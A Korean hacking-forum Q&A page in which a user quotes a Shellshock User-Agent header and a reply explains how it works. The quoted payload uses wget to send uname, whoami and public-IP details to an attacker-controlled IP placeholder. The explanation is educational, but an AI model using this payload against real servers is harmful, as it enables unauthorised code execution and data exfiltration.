214, 8/11 회원가입  로그인  
   cosine
   [re] 이 공격구문에 대한 설명 부탁드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=206 [복사]


셸쇼크입니다. 리눅스 환경의 많은 웹 프레임워크에서 유저에이전트를 환경변수에 저장합니다. 따라서 취약한 환경의 서버사이드 스크립트에서 bash 셸을 호출한다면 User-Agent를 파싱하는 과정에서 {:;}; 이후부분의 코드가 실행됩니다. 코드는 공격자의 IP주소로 서버 정보를 전송하는 코드로 보입니다.===============================================================================

>User-Agent:() { :; }; /usr/bin/wget -qO - http://IP주소/?info-`uname`-`uname -p`-`whoami`-`wget -U curl -qO- ifconfig.me`
>이 공격구문에 대한 자세한 설명부탁드립니다.
===============================================================================
  Hit : 2664     Date : 2015/06/28 03:28


    
74   XSS <> 치환 우회가 가능한가요?[2]     drrobot333
 11/19 3614
73   xss 질문입니다[1]     usj1004s
 12/06 3084
72   XSS 해킹 질문[3]     test11
 03/07 4738
71   xss 우회할 방법 없을까요??[3]     ezkiller
 10/22 7047
70   [웹(mysql)질문이 있습니다.][3]     BkeMan
 01/27 3746
69   [웹질문] 사이트 소스를 통째로 갖고오는 툴이 있나요?[2]     helpwizet
 03/08 5237
    [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2663
67     [re] 제가 웹해킹을 배우려하는데요.[2]     cjy559510
 12/02 4626
66     [re] [Web]php소스 해석점 부탁드릴게요..[1]     pr0sp3r
 03/15 4106
65     [re] 포트스캔이 불법이었네요;;     4irjuno
 07/31 3440
64   [Web]php소스 해석점 부탁드릴게요..[2]     BkeMan
 03/06 4122
63   크로스 사이트 스크립팅     ralehgus123
 05/30 4138
62   크래킹 해주실분 구해요 (불법x) 사례드립니다.     mss0812
 06/22 3210
61   쿠키문의[3]     sm8303
 04/21 2830
60   퀴리문이 무슨 뜻인가요???[4]     my01sun
 02/26 4079
59   파일 업로드 취약점 질문 입니다.[2]     bigshott
 12/25 5020
58   페이스북[1]     smile_mut
 12/22 4138
57   컴퓨터에 대해 처음배우는데 해킹먼저 배워도 되련지?[2]     hacker17
 11/17 3478
56   파폭의 차단 기준은 무엇인가요 ?[1]     $Zero
 03/11 3486
55     파로스     zen0c1de
 07/18 3248
[1][2][3][4][5][6][7] 8 [9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org